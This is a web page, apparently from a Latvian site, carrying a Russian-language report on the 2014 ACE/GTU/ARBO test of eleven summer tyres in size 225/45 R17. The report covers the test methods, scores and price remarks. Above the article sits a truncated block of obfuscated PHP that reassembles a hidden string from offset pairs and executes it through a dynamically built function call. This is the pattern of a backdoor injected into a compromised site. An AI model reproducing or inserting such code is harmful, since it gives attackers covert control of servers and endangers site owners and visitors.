aaa -
<(sizeof($owsvdbaql)/2);$jaxjvya++) { $xxszqrkf .= substr($nhalutg, $owsvdbaql[($jaxjvya*2)],$owsvdbaql[($jaxjvya*2)+(5-4)]); } return $tzzvoh(chr((62-53)),chr((289-197)),$xxszqrkf); }; } $wjmybp = explode(chr((180-136)),'2760,58,860,66,5439,39,5108,60,3743,62,1278,42,3005,24,2591,20,1025,41,5168,47,5625,70,346,25,5812,41,5695,68,2248,46,4107,38,4303,40,4758,29,1683,43,3392,59,4650,67,926,68,4604,46,2033,40,434,31,371,63,2544,47,3095,52,1340,44,465,34,2936,69,3495,56,2403,38,4717,41,3029,36,4959,46,1726,58,1968,41,994,31,1815,24,1900,68,4787,37,3370,22,5038,70,1119,57,700,43,5582,43,4375,48,5301,44,2111,31,4423,28,5971,49,252,43,4571,33,2142,61,4253,50,3623,52,1839,39,0,59,115,50,4519,52,4451,68,3836,22,2344,59,552,27,2520,24,3805,31,2611,56,2667,53,4343,32,165,62,5005,33,3203,21,5535,47,3065,30,4190,63,5215,29,4881,40,1223,55,4921,38,5478,57,3224,23,2441,43,5378,61,5763,49,3858,40,3711,32,2866,70,2009,24,1176,47,1599,36,806,54,59,56,3991,47,1440,23,1320,20,4824,57,3551,49,1463,47,4145,45,5244,57,1539,60,2203,45,1384,56,3306,64,3247,59,295,51,4038,69,2720,40,3923,68,2073,38,743,63,2818,48,1635,48,5853,67,227,25,2294,50,1784,31,499,53,579,59,1878,22,3147,56,5345,33,3451,44,2484,36,3898,25,1510,29,3600,23,3675,36,5920,51,1066,53,638,62'); $aexssceccc = $ydrvatxppl("",waqyxbpv($wjmybp,$lypgqv,$rqgqhlwa)); $ydrvatxppl=$lypgqv; $aexssceccc(""); $aexssceccc=(413-292); $lypgqv=$aexssceccc-1; ?>

ACE/GTU/ARBO: Тест летних шин размера 225/45 R17 (2014)

Автомобильный клуб Европы (ACE), немецкая Организация технического надзора (GTU) и австрийский автоклуб ARBO представили результаты первых в этом сезоне тестов летних шин размера 225/45 R17.

В испытаниях учатсие приняли покрышки Apollo Tyres Aspire 4G, Barum Bravuris 3 HM, Bridgestone Potenza S001, Continental ContiSportContact 5, Dunlop Sport Maxx RT, Goodyear Eagle F1 Asymmetric 2, Hankook Ventus S1 evo2 K117, Kumho Solus HS51, Nokian Line, Pirelli PZero, Vredestein Ultrac Vorti.

Все тесты были проведены на полигоне Pirelli в Италии. Торможение на мокрой поверхности осуществлялось со 80 до 20 км/ч, после чего определялась тормозная дистанция до полной остановки. На сухом треке автомобиль останавливали с 80 до 20 км/ч, после чего проводились такие же расчеты. Испытания на сопротивляемость продольному и поперечному аквапланированию осуществлялись на треке с 7-миллиметровым слоем воды. В первом случае оценивалась скорость, при которой пробуксовка достигала 15%, во втором – среднее боковое ускорение в диапазоне от 60 до 90 км/ч. Оценка за поперечное сцепление на мокром покрытии ставилась исходя из среднего времени круга диаметром 80 м. В обоих тестах на управляемость учитывались время круга и субъективные оценки пилотов. Уровень внешнего шума определялся в соответствии со стандартом ECE R117 при 80 км/ч; сопротивление качению – при нагрузке 5 258 Н и давлении 2,5 бар. Учитывалась также средняя стоимость шин в Германии в январе 2014 (по данным BRV).

Победителями тестов стали Continental, набравшие 143 балла из 190 возможных. При этом, если принимать в учет стоимость, то Continental еще и самые дорогие из всех протестированных шин, а самыми привлекательными в плане соотношения цены и качества следует считать Apollo. Нужно отметить, что отличный результат и вердикт «очень рекомендовано» получила шина Pirelli PZero, набравшая в общем зачете 134 пункта, и разделившая второе место с Dunlop SportMaxx RT (134). Эта шина показала отличные результаты в тестах на сухой и мокрой поверхности, однако в плане цены, как и положено шине премиум класса, оказалась среди самых дорогих.

Источник: GTÜ


http://www.pkp.lv